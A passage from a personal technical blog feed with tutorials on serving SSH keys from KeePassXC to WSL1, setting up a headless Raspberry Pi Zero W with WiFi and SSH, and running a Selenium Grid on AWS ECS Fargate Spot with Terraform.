<span class="token assign-left variable">TITLE</span><span class="token operator">=</span><span class="token string">"\[<span class="token entity" title="\e">\e</span>]2;<span class="token variable">$*</span><span class="token entity" title="\a">\a</span>\]"</span>
<span class="token assign-left variable"><span class="token environment constant">PS1</span></span><span class="token operator">=</span><span class="token variable">${ORIG}</span><span class="token variable">${TITLE}</span>
<span class="token punctuation">}</span></code></pre>
<p>Then save and exit (<code>Ctrl X</code>), and reload the file with <code>source ~/.bashrc</code>.</p>
<p>Now try setting the title.</p>
<pre><code>set-title Hello World!
</code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/set-terminal-title/001.png">
<img src="https://code.mendhak.com/assets/images/set-terminal-title/001.png" alt="results" loading="lazy" /></span>
<figcaption>results</figcaption>
</figure><p></p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/set-terminal-title/002.png">
<img src="https://code.mendhak.com/assets/images/set-terminal-title/002.png" alt="results" loading="lazy" /></span>
<figcaption>results</figcaption>
</figure><p></p>
How to use KeepassXC to serve SSH keys to WSL1 and Ubuntu2020-05-03T00:00:00Zhttps://code.mendhak.com/wsl-keepassxc-ssh/<p>KeePassXC is an alternative to KeePass 2; an interesting feature is that it has SSH agent support built in, rather than supplied via a plugin. It can be used to serve SSH keys to WSL1, which is useful when remoting on to servers, or using Git over SSH.</p>
<p>Some benefits of putting your SSH key into your Keepass are that you can have a strong password on the private key but don’t need to type it out each time, and that you don’t need to save your keys on disk - you can let KeePassXC manage the storage, unlocking and serving of the keys for you.</p>
<div class="notice info">
This post covers WSL1. For WSL2, see <a href="https://code.mendhak.com/posts/2021-05-10-wsl2-keepassxc-ssh.md">this post</a>
</div>
<h2 id="set-up-keepassxc" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/wsl-keepassxc-ssh/#set-up-keepassxc">Set up KeePassXC</a></h2>
<p>Open up KeePassXC’s settings, and choose to <code>Enable SSH Agent</code> and also <code>Use OpenSSH for Windows instead of Pageant</code>.<br />
The second option requires the OpenSSH service in Windows to already be running, you will get an error message if it isn’t.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/wsl-ssh-keepassxc/001.png">
<img src="https://code.mendhak.com/assets/images/wsl-ssh-keepassxc/001.png" alt="KeepassXC SSH settings" loading="lazy" /></span>
<figcaption>KeepassXC SSH settings</figcaption>
</figure><p></p>
<h3 id="store-an-ssh-key" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/wsl-keepassxc-ssh/#store-an-ssh-key">Store an SSH key</a></h3>
<div class="notice info">
If you are already using with KeePass 2 and KeeAgent, you can skip this section. KeePassXC can already work with your existing <code>.kdbx</code> and KeeAgent entries, and you should already see your SSH keys loaded.<br />
</div>
<p>Create a new entry in your database, give it some name, and in the password field, put the passphrase for your SSH key.</p>
<p>In the advanced section, attach your public and private key, then hit OK, then save the entry. You need to save so that the SSH Agent can read your key in the next step.</p>
<p>Now reopen the entry, then go to the SSH Agent section, under Private key, pick the file you attached earlier. The rest of the section should get filled out with details about your key. Once again hit OK and save; KeePassXC is now serving those keys to the Windows SSH agent.</p>
<figure><br />
<span class="lightbox-image" data-src="/assets/images/wsl-ssh-keepassxc/002.png"><img src="https://code.mendhak.com/assets/images/wsl-ssh-keepassxc/002.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/wsl-ssh-keepassxc/003.png"><img src="https://code.mendhak.com/assets/images/wsl-ssh-keepassxc/003.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/wsl-ssh-keepassxc/004.png"><img src="https://code.mendhak.com/assets/images/wsl-ssh-keepassxc/004.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<figcaption>KeePassXC settings</figcaption></figure>
<h2 id="get-wsl-ssh-agent" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/wsl-keepassxc-ssh/#get-wsl-ssh-agent">Get WSL SSH Agent</a></h2>
<p>wsl-ssh-agent is a helper tool that interfaces with Windows’ own SSH Agent service.</p>
<p><a href="https://github.com/rupor-github/wsl-ssh-agent/releases"><button>Download wsl-ssh-agent</button></a></p>
<p>Extract the zip in Windows, not in WSL. You can place it anywhere. If you’re trying to stay portable, it can be placed in a synched directory near KeepassXC and your KDBX, for example your Google Drive or Dropbox folders.</p>
<h2 id="tell-wsl-to-use-it" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/wsl-keepassxc-ssh/#tell-wsl-to-use-it">Tell WSL to use it</a></h2>
<p>You will need to tell WSL to talk to wsl-ssh-agent, so that it can talk to Windows SSH Agent, so that it can fetch your keys from KeePassXC.</p>
<p>In your <code>~/.bashrc</code>, add the following lines. Adjust the path to point at wherever you have placed the exe. Ensure that <code>C:\Temp</code> exists, or change the path for the <code>.sock</code> file as well.</p>
<pre class="language-bash"><code class="language-bash">
<span class="token builtin class-name">export</span> <span class="token assign-left variable"><span class="token environment constant">SSH_AUTH_SOCK</span></span><span class="token operator">=</span>/mnt/c/temp/ssh-agent.sock
<span class="token punctuation">(</span>/mnt/c/Users/mendhak/Google<span class="token punctuation">\</span> Drive/Documents/keys/wsl-ssh-agent/wsl-ssh-agent-gui.exe <span class="token parameter variable">-socket</span> <span class="token string">"C:\Temp\ssh-agent.sock"</span> <span class="token operator">&</span> disown<span class="token punctuation">)</span></code></pre>
<div class="notice info">
If you’ve changed your WSL mount point to <code>/c/</code>, be sure to reflect that in the path above.
</div>
<p>Reload WSL, and this should call out to the wsl-ssh-agent.</p>
<p>Look at your system tray area for a pair-of-keys icon that appears. If you click About, you can also see the path to your <code>.sock</code> at the bottom of the help dialog.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/wsl-ssh-keepassxc/005.png">
<img src="https://code.mendhak.com/assets/images/wsl-ssh-keepassxc/005.png" alt="wsl-ssh-agent dialog" loading="lazy" /></span>
<figcaption>wsl-ssh-agent dialog</figcaption>
</figure><p></p>
<h2 id="test-it" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/wsl-keepassxc-ssh/#test-it">Test it</a></h2>
<p>Assuming you’ve already added your public key to Github, do a quick test.</p>
<pre><code>$ ssh -T git@github.com
Hi mendhak! You've successfully authenticated, but GitHub does not provide shell access.
</code></pre>
Preparing a Raspberry Pi Zero with WiFi and SSH2020-05-01T00:00:00Zhttps://code.mendhak.com/prepare-raspberry-pi/<p>When working with a <a href="https://www.raspberrypi.org/products/raspberry-pi-zero-w/">Raspberry Pi Zero W</a>, as there is no network port, you will need to enable WiFi and SSH as well so that you can connect to it when it first boots.</p>
<p>This is far simpler than the alternative, which is to connect a keyboard and monitor to the Raspberry Pi Zero W to then set up WiFi and SSH. You can simply use your existing setup.</p>
<h1 id="prepare-the-sd-card" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/prepare-raspberry-pi/#prepare-the-sd-card">Prepare the SD Card</a></h1>
<p>You will need a microSD card and a USB adapter. These are all cheap and plentiful, some examples of adapters are <a href="https://smile.amazon.co.uk/Integral-AMINCRSD-Digital-Frustration-Free-Packaging/dp/B0047T6XWY">here</a> and <a href="https://smile.amazon.co.uk/Vanja-Reader-Adapter-Portable-Memory/dp/B01JJ1VDQK">here</a>. Plug your microSD card into a USB adapter, then plug it into your computer.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/prepare-raspberry-pi/003.jpg">
<img src="https://code.mendhak.com/assets/images/prepare-raspberry-pi/003.jpg" alt="USB SD Adapter" loading="lazy" /></span>
<figcaption>USB SD Adapter</figcaption>
</figure><p></p>
<h2 id="download-os-image" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/prepare-raspberry-pi/#download-os-image">Download OS image</a></h2>
<p>The official image for Raspberry Pi in general is <a href="https://www.raspberrypi.org/software/operating-systems/#raspberry-pi-os-32-bit">Raspberry Pi OS (formerly Raspbian), which can be downloaded here</a>. If you don’t need a desktop environment, download the Lite version. Not having a desktop environment frees up valuable memory and CPU.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/prepare-raspberry-pi/005.png">
<img src="https://code.mendhak.com/assets/images/prepare-raspberry-pi/005.png" alt="Raspberry Pi OS images" loading="lazy" /></span>
<figcaption>Raspberry Pi OS images</figcaption>
</figure><p></p>
<p>Optionally, you can download and verify the checksum too.</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token function">wget</span> <span class="token parameter variable">-O</span> raspios.zip https://downloads.raspberrypi.org/raspios_lite_armhf_latest
$ sha256sum raspios.zip
d49d6fab1b8e533f7efc40416e98ec16019b9c034bc89c59b83d0921c2aefeef raspios.zip</code></pre>
<h2 id="flash-the-sd-card" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/prepare-raspberry-pi/#flash-the-sd-card">Flash the SD Card</a></h2>
<p>Download <a href="https://etcher.io/">Balena Etcher</a>, choose the portable version from the dropdown.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/prepare-raspberry-pi/004.png">
<img src="https://code.mendhak.com/assets/images/prepare-raspberry-pi/004.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<p>Launch Etcher, then select the zip file that you just downloaded, and choose the USB device carefully.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/prepare-raspberry-pi/006.png">
<img src="https://code.mendhak.com/assets/images/prepare-raspberry-pi/006.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<p>Click Flash and the image should get written to the SD card shortly.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/prepare-raspberry-pi/007.png">
<img src="https://code.mendhak.com/assets/images/prepare-raspberry-pi/007.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<h2 id="configure-the-os" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/prepare-raspberry-pi/#configure-the-os">Configure the OS</a></h2>
<p>Once flashing is complete, unplug and replug the USB adapter. The drive should now appear in Windows (it appeared as D:\ for me) filled with OS files for the Raspberry Pi.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/prepare-raspberry-pi/008.png">
<img src="https://code.mendhak.com/assets/images/prepare-raspberry-pi/008.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<p>You now need to allow the Raspberry Pi Zero W to connect to your network <em>and</em> allow yourself to connect to it.</p>
<h3 id="enable-ssh" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/prepare-raspberry-pi/#enable-ssh">Enable SSH</a></h3>
<p>Raspbian disables SSH by default. To enable it, create an empty file in this drive, called <code>ssh</code>.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/prepare-raspberry-pi/009.png">
<img src="https://code.mendhak.com/assets/images/prepare-raspberry-pi/009.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<p>Just the presence of this empty file on disk is enough for Raspbian to enable SSH when you power up the Raspberry Pi later.</p>
<h3 id="enable-wifi" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/prepare-raspberry-pi/#enable-wifi">Enable WiFi</a></h3>
<p>You will need to tell Raspbian how to connect to your WiFi.</p>
<p>Create a file called <code>wpa_supplicant.conf</code> in the same boot drive. Paste these contents in there, and replace the country, SSID and PSK values.</p>
<pre><code>ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1
country=GB
network={
ssid="your_network_name"
psk="your_wifi_password"
key_mgmt=WPA-PSK
}
</code></pre>
<div class="notice info">
Raspberry Pi Zero W does not support 5 GHz, make sure you have 2.4 GHz enabled on the SSID that you are connecting to.
</div>
<div class="notice info">
The country code is not always necessary, but helps the WiFi radio figure out which channels it can operate on as different nations may <a href="https://kernelmag.dailydot.com/features/report/8051/the-mystery-of-wifi-channel-14/">ban the use of certain frequencies</a> based on military, security, industrial/scientific requirements. Without the country code in place, the WiFi may simply refuse to connect.
</div>
<h1 id="run-the-raspberry-pi-zero-w" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/prepare-raspberry-pi/#run-the-raspberry-pi-zero-w">Run the Raspberry Pi Zero W</a></h1>
<p>Plug the SD Card into the Raspberry Pi Zero W. Connect a micro-USB cable and power up the Pi. You can use the official Raspberry Pi power supply (~2.5A) or a USB port that supplies adequate power (~1.2A).</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/prepare-raspberry-pi/002.jpg">
<img src="https://code.mendhak.com/assets/images/prepare-raspberry-pi/002.jpg" alt="Raspberry Pi Zero WH" loading="lazy" /></span>
<figcaption>Raspberry Pi Zero WH</figcaption>
</figure><p></p>
<p>Wait a few minutes, then have a look at the list of connected devices on your router’s admin pages and find its IP address. If you’re having trouble figuring it out, pick one, start pinging it, and disconnect your most recent Pi to see if that’s the right IP.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/prepare-raspberry-pi/010.png">
<img src="https://code.mendhak.com/assets/images/prepare-raspberry-pi/010.png" alt="Pihole devices screen" loading="lazy" /></span>
<figcaption>Pihole devices screen</figcaption>
</figure><p></p>
<p>Once you have the right IP, <code>ssh</code> to it with the default password of <code>raspberry</code></p>
<pre class="language-bash"><code class="language-bash">
$ <span class="token function">ssh</span> pi@192.168.0.247
pi@192.168.0.247's password:
</code></pre>
<p>You’re now connected to the Raspberry Pi.</p>
<h2 id="change-password" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/prepare-raspberry-pi/#change-password">Change password</a></h2>
<p>As a best practice, run <code>sudo raspi-config</code> and follow the prompts to change your password.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/prepare-raspberry-pi/011.png">
<img src="https://code.mendhak.com/assets/images/prepare-raspberry-pi/011.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<h2 id="change-hostname" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/prepare-raspberry-pi/#change-hostname">Change hostname</a></h2>
<p>Under <code>sudo raspi-config</code>, choose Network Options, then Hostname. Set the name to something distinctive from other Raspberry Pis.<br />
After renaming you will be prompted to reboot.</p>
<h2 id="increase-swap-space" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/prepare-raspberry-pi/#increase-swap-space">Increase swap space</a></h2>
<p>Open up the swap configuration file</p>
<pre><code>sudo nano /etc/dphys-swapfile
</code></pre>
<p>Change the <code>CONF_SWAPSIZE</code> value from 100 to something larger, like 2048, then save and exit. Restart the swap service.</p>
<pre><code>sudo /etc/init.d/dphys-swapfile stop
sudo /etc/init.d/dphys-swapfile start
</code></pre>
<p>Verify the new swap space using <code>free -m</code></p>
Running a Selenium Grid cheaply with Fargate Spot containers in AWS ECS2020-02-18T00:00:00Zhttps://code.mendhak.com/selenium-grid-ecs/<p>Here I will go over a Terraform script to help with running a cheap Selenium Grid, in an AWS ECS cluster, with the containers managed by Fargate Spot instances. To put it in a simpler way, this Selenium Grid (hub and nodes) runs in Docker containers, the containers are run on an <a href="https://aws.amazon.com/ecs/">ECS Cluster</a>. Within ECS, the containers are managed by <a href="https://aws.amazon.com/fargate/">Fargate</a>, which immensely eases the running of containers from your perspective - you don’t have to specify instance details, just tell it how much CPU/RAM you need. And the backing type that we’ll make Fargate use here is <a href="https://aws.amazon.com/ec2/spot/">Spot instances</a>. Spot instances are unused EC2 capacity that AWS offers cheaply, with the caveat that there is a small chance of your instance being reclaimed with a 2 minute notice.</p>
<p>The combination of ECS with Fargate and Spot is good for fault tolerant workloads. Selenium Grids are a great fit as you can just run it in this setup without having to think too much. If a container is ever removed, Selenium Hub will simply continue farming out instructions to the remaining nodes. If you ever need the full capacity back, simply destroy and recreate the cluster. This is much cheaper compared to running such a set up on a fleet of dedicated EC2 instances.</p>
<p>And importantly, it makes your testers happy.</p>
<h2 id="instructions" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/selenium-grid-ecs/#instructions">Instructions</a></h2>
<p><a href="https://github.com/mendhak/selenium-grid-ecs/blob/master/main.tf"><button>Get the Terraform script</button></a></p>
<p>Modify the corresponding <code>variable</code> values at the top of the Terraform file and put these values in from your own AWS account:</p>
<ul>
<li><code>vpc_id</code>: The VPC ID where the containers are to be created</li>
<li><code>subnet_private_ids</code>: The subnet ID of a private subnet in your VPC - this is where the containers will go</li>
<li><code>subnet_public_ids</code>: The subnet IDs of public subnets in your VPC - this is where the load balancer will go</li>
<li><code>your_ip_addresses</code>: You can use the default for experimenting, but change it to your IP address.</li>
</ul>
<p>Once that’s done,</p>
<pre class="language-bash"><code class="language-bash">terraform init
terraform apply</code></pre>
<p>Confirm, and wait for the <code>hub_address</code> output to appear, which will be the DNS of the ALB. Wait a few minutes more though (the hub container needs to run, register with the ALB target group), then browse to the address and the Selenium Hub page should appear. If you go to <code>/grid/console</code> then you can see the Selenium browser nodes appear as well.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/ecs-selenium-grid/002.png">
<img src="https://code.mendhak.com/assets/images/ecs-selenium-grid/002.png" alt="grid" loading="lazy" /></span>
<figcaption>grid</figcaption>
</figure><p></p>
<div class="notice warning">
<strong>Note:</strong> Running this script will incur a cost in your AWS account. You can get an idea of pricing <a href="https://aws.amazon.com/fargate/pricing/">here</a>.<br />
Don’t leave <code>your_ip_addresses</code> as 0.0.0.0/0, it’s only for testing purposes; change it to your own IP address to prevent others from running tests against your grid.
</div>
<h3 id="run-a-test" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/selenium-grid-ecs/#run-a-test">Run a test</a></h3>
<p>Here’s a quick way to run a test with <a href="https://smashtest.io/">Smashtest</a>.</p>
<p>Create a file, <code>main.smash</code> with this content. You can paste it a few times for more tests, but do preserve indentation:</p>
<pre><code>Open Firefox
Open Chrome
Navigate to 'code.mendhak.com'
Navigate to 'https://code.mendhak.com/selenium-grid-ecs/'
Navigate to 'https://code.mendhak.com/nextdns-with-nordvpn/'
Go Back
Go Forward
Refresh
</code></pre>
<p>Then to run the test,</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">npm</span> <span class="token function">install</span> smashtest
npx smashtest --test-server<span class="token operator">=</span>http://your-load-balancer-12345.eu-west-1.elb.amazonaws.com/wd/hub --max-parallel<span class="token operator">=</span><span class="token number">7</span>
</code></pre>
<p>This will run the tests against your new Grid and if you refresh the Selenium Hub page you can see where the test is running, indicated by a dimmed browser icon.</p>
<div class="notice info">
To understand the Smashtest syntax above, see <a href="https://code.mendhak.com/posts/2021-06-19-smashtest-tutorial.md">this tutorial</a>.<br />
</div>
<h2 id="overview" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/selenium-grid-ecs/#overview">Overview</a></h2>
<p>There are quite a few AWS services that need to work together for this setup. The Docker images for <a href="https://hub.docker.com/r/selenium/hub/tags">Selenium Hub</a> as well as the browsers are <a href="https://hub.docker.com/r/selenium/node-firefox/tags">already provided by Selenium</a>. This saves us the effort of having to build one. We just need to create task definitions for the hub and each browser, then run them as services in the ECS Cluster.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/ecs-selenium-grid/001.png">
<img src="https://code.mendhak.com/assets/images/ecs-selenium-grid/001.png" alt="overview" loading="lazy" /></span>
<figcaption>overview</figcaption>
</figure><p></p>
<p>Each browser container will need to know where the hub is and register itself. To help them out, the hub will need to register itself with AWS Cloud Map, which is a service discovery tool. You can think of it as a ‘private’ DNS within your VPC.</p>
<p>The hub node will also need to register itself with a Load Balancer. This is because as the various containers in ECS are created and destroyed, they will have different private IP addresses. Having a constantly changing hub address can be disruptive for testers, so placing a load balancer in front of the hub helps keep the test configuration static enough; you could even point a domain name at the load balancer and use ACM to give it a secure, easy to remember URL.</p>
<h2 id="the-details" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/selenium-grid-ecs/#the-details">The details</a></h2>
<h3 id="the-security-group" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/selenium-grid-ecs/#the-security-group">The security group</a></h3>
<p>An <code>aws_security_group</code> is created</p>
<h3 id="the-iam-policy" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/selenium-grid-ecs/#the-iam-policy">The IAM policy</a></h3>
<p>Quite often, ECS needs to execute tasks on your behalf. This would be things like pulling ECR images, creating CloudWatch Log Groups, reading secrets from KMS. The <code>ecs_execution_policy</code> sets out what ECS is allowed to do, and is passed as an <code>execution_role_arn</code> when creating a task definition.</p>
<h3 id="the-service-discovery-and-private-dns" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/selenium-grid-ecs/#the-service-discovery-and-private-dns">The Service Discovery and private DNS</a></h3>
<p>In the service discovery section, we create a CloudMap Namespace with the TLD <code>.selenium</code>, and under that the service <code>hub</code>. This is passed in the <code>service_registries</code> when creating an ECS Service; the hub hub container registers here, creating the address <code>http://hub.selenium</code> so that the various browser containers can easily find the Selenium Hub container without knowing its IP address in advance.</p>
<pre class="language-hcl"><code class="language-hcl">
<span class="token comment">## This makes it `.selenium`</span>
<span class="token keyword">resource <span class="token type variable">"aws_service_discovery_private_dns_namespace"</span></span> <span class="token string">"selenium"</span> <span class="token punctuation">{</span>
<span class="token property">name</span> <span class="token punctuation">=</span> <span class="token string">"selenium"</span>
<span class="token property">description</span> <span class="token punctuation">=</span> <span class="token string">"private DNS for selenium"</span>
<span class="token property">vpc</span> <span class="token punctuation">=</span> var.vpc_id
<span class="token punctuation">}</span>
<span class="token comment">## This makes it `hub.selenium`</span>
<span class="token keyword">resource <span class="token type variable">"aws_service_discovery_service"</span></span> <span class="token string">"hub"</span> <span class="token punctuation">{</span>
<span class="token property">name</span> <span class="token punctuation">=</span> <span class="token string">"hub"</span>
<span class="token keyword">dns_config</span> <span class="token punctuation">{</span>
<span class="token property">namespace_id</span> <span class="token punctuation">=</span> aws_service_discovery_private_dns_namespace.selenium.id
<span class="token keyword">dns_records</span> <span class="token punctuation">{</span>
<span class="token property">ttl</span> <span class="token punctuation">=</span> <span class="token number">60</span>
<span class="token property">type</span> <span class="token punctuation">=</span> <span class="token string">"A"</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token keyword">health_check_custom_config</span> <span class="token punctuation">{</span>
<span class="token property">failure_threshold</span> <span class="token punctuation">=</span> <span class="token number">1</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span></code></pre>
<h3 id="the-ecs-cluster" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/selenium-grid-ecs/#the-ecs-cluster">The ECS Cluster</a></h3>
<p>An ECS Cluster is just a logical grouping for ECS tasks, it doesn’t actually exist as a thing but is more of a designated area for the containers you want to run. Here we create the selenium grid cluster.
The most crucial money saving part here is specifying <code>FARGATE_SPOT</code> as the capacity provider.</p>
<pre class="language-hcl"><code class="language-hcl"><span class="token keyword">resource <span class="token type variable">"aws_ecs_cluster"</span></span> <span class="token string">"selenium_grid"</span> <span class="token punctuation">{</span>
<span class="token property">name</span> <span class="token punctuation">=</span> <span class="token string">"selenium-grid"</span>
<span class="token property">capacity_providers</span> <span class="token punctuation">=</span> <span class="token punctuation">[</span><span class="token string">"FARGATE_SPOT"</span><span class="token punctuation">]</span>
<span class="token keyword">default_capacity_provider_strategy</span> <span class="token punctuation">{</span>
<span class="token property">capacity_provider</span> <span class="token punctuation">=</span> <span class="token string">"FARGATE_SPOT"</span>
<span class="token property">weight</span> <span class="token punctuation">=</span> <span class="token number">1</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span></code></pre>
<h3 id="the-hub-task-definition" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/selenium-grid-ecs/#the-hub-task-definition">The hub task definition</a></h3>
<p>ECS expects containers to be created based on task definitions. They are somewhat reminiscent of docker-compose files. Task definitions don’t actually run the containers, they just describe what you want when you do.</p>
<p>The Selenium Hub listens on port 4444, and we’ve chosen the <code>selenium/hub:3.141.59</code> image from Docker Hub, and requested 1024 CPU units (1 vCPU) and 2 GB RAM.</p>
<pre class="language-hcl"><code class="language-hcl"><span class="token keyword">resource <span class="token type variable">"aws_ecs_task_definition"</span></span> <span class="token string">"seleniumhub"</span> <span class="token punctuation">{</span>
<span class="token property">family</span> <span class="token punctuation">=</span> <span class="token string">"seleniumhub"</span>
<span class="token property">network_mode</span> <span class="token punctuation">=</span> <span class="token string">"awsvpc"</span>
<span class="token property">container_definitions</span> <span class="token punctuation">=</span> <span class="token heredoc string"><<DEFINITION
[
{
"name": "hub",
"image": "selenium/hub:3.141.59",
"portMappings": [
{
"hostPort": 4444,
"protocol": "tcp",
"containerPort": 4444
}
],
"essential": true,
"entryPoint": [],
"command": []
}
]
DEFINITION</span>
<span class="token property">requires_compatibilities</span> <span class="token punctuation">=</span> <span class="token punctuation">[</span><span class="token string">"FARGATE"</span><span class="token punctuation">]</span>
<span class="token property">cpu</span> <span class="token punctuation">=</span> <span class="token number">1024</span>
<span class="token property">memory</span> <span class="token punctuation">=</span> <span class="token number">2048</span>
<span class="token punctuation">}</span></code></pre>
<h3 id="the-hub-service" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/selenium-grid-ecs/#the-hub-service">The hub service</a></h3>
<p>There’s a lot happening here as many things are brought together.</p>
<p>We can now run the ECS service by referencing the <code>task_definition</code> above.<br />
The <code>capacity_provider_strategy</code> ensures it is placed on a Spot instance managed by Fargate.<br />
The <code>service_registries</code> ensures it grabs the <code>hub.selenium</code> address.<br />
The <code>load_balancer</code> ensure that it registers with the target group.</p>
<pre class="language-hcl"><code class="language-hcl">
<span class="token keyword">resource <span class="token type variable">"aws_ecs_service"</span></span> <span class="token string">"seleniumhub"</span> <span class="token punctuation">{</span>
<span class="token property">name</span> <span class="token punctuation">=</span> <span class="token string">"seleniumhub"</span>
<span class="token property">cluster</span> <span class="token punctuation">=</span> aws_ecs_cluster.selenium_grid.id
...
<span class="token keyword">capacity_provider_strategy</span> <span class="token punctuation">{</span>
<span class="token property">capacity_provider</span> <span class="token punctuation">=</span> <span class="token string">"FARGATE_SPOT"</span>
<span class="token property">weight</span> <span class="token punctuation">=</span> <span class="token number">1</span>
<span class="token punctuation">}</span>
<span class="token keyword">service_registries</span> <span class="token punctuation">{</span>
<span class="token property">registry_arn</span> <span class="token punctuation">=</span> aws_service_discovery_service.hub.arn
<span class="token property">container_name</span> <span class="token punctuation">=</span> <span class="token string">"hub"</span>
<span class="token punctuation">}</span>
<span class="token property">task_definition</span> <span class="token punctuation">=</span> aws_ecs_task_definition.seleniumhub.arn
<span class="token keyword">load_balancer</span> <span class="token punctuation">{</span>
<span class="token property">target_group_arn</span> <span class="token punctuation">=</span> aws_lb_target_group.selenium-hub.arn
<span class="token property">container_name</span> <span class="token punctuation">=</span> <span class="token string">"hub"</span>
<span class="token property">container_port</span> <span class="token punctuation">=</span> <span class="token number">4444</span>
<span class="token punctuation">}</span>
...
</code></pre>
<h3 id="the-firefox-and-chrome-nodes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/selenium-grid-ecs/#the-firefox-and-chrome-nodes">The Firefox and Chrome nodes</a></h3>
<p>The task definitions for the browser nodes are also on Docker Hub. When the nodes are brought up they need to know the address of the Selenium Hub so that they can reach out and register themselves as part of the grid. This information can be provided as the <code>HUB_HOST</code> and <code>HUB_PORT</code> environment variables.</p>
<p>When registering, they need to inform the hub of their <em>own</em> address, but this isn’t so simple; since they are in containers, they will report an incorrect address to the Hub. AWS does provide a lookup address that containers can use to look the host IP address though, specifically <code>http://169.254.170.2/v2/metadata</code>, the <a href="https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-metadata-endpoint-v2.html">task metadata endpoint</a> and this includes, among other things, the host IP address.</p>
<p>We now need to modify the <code>command</code> of the nodes to include this as a step. Read the IP from the metadata endpoint, then export the <code>REMOTE_HOST</code> variable so that the node’s actual entrypoint script can pick it up.</p>
<p>We also specify a <code>NODE_MAX_SESSION</code> of 3 to indicate a maximum parallelization.</p>
<p>To help with troubleshooting, there’s also a logging configuration which uses the <code>awslogs</code> driver, which sends the container logs to Cloudwatch. Since this container will create its own log group, we ensured earlier that the <code>execution_role_arn</code> has permissions to create log groups.</p>
<pre class="language-hcl"><code class="language-hcl"><span class="token keyword">resource <span class="token type variable">"aws_ecs_task_definition"</span></span> <span class="token string">"firefox"</span> <span class="token punctuation">{</span>
<span class="token property">family</span> <span class="token punctuation">=</span> <span class="token string">"seleniumfirefox"</span>
<span class="token property">network_mode</span> <span class="token punctuation">=</span> <span class="token string">"awsvpc"</span>
<span class="token property">container_definitions</span> <span class="token punctuation">=</span> <span class="token heredoc string"><<DEFINITION
[
{
"name": "hub",
"image": "selenium/node-firefox:latest",
"portMappings": [
{
"hostPort": 5555,
"protocol": "tcp",
"containerPort": 5555
}
],
"essential": true,
"entryPoint": [],
"command": [ "/bin/bash", "-c", "PRIVATE=$(curl -s http://169.254.170.2/v2/metadata | jq -r '.Containers[1].Networks[0].IPv4Addresses[0]') ; export REMOTE_HOST=\"http://$PRIVATE:5555\" ; /opt/bin/entry_point.sh" ],
"environment": [
{
"name": "HUB_HOST",
"value": "hub.selenium"
},
{
"name": "HUB_PORT",
"value": "4444"
},
{
"name":"NODE_MAX_SESSION",
"value":"3"
},
{
"name":"NODE_MAX_INSTANCES",
"value":"3"
}
],
"logConfiguration": {
"logDriver": "awslogs",
"options": {
"awslogs-create-group":"true",
"awslogs-group": "awslogs-selenium",
"awslogs-region": "eu-west-1",
"awslogs-stream-prefix": "firefox"
}
}
}
]
DEFINITION</span>
<span class="token property">requires_compatibilities</span> <span class="token punctuation">=</span> <span class="token punctuation">[</span><span class="token string">"FARGATE"</span><span class="token punctuation">]</span>
<span class="token property">cpu</span> <span class="token punctuation">=</span> <span class="token number">2048</span>
<span class="token property">memory</span> <span class="token punctuation">=</span> <span class="token number">4096</span>
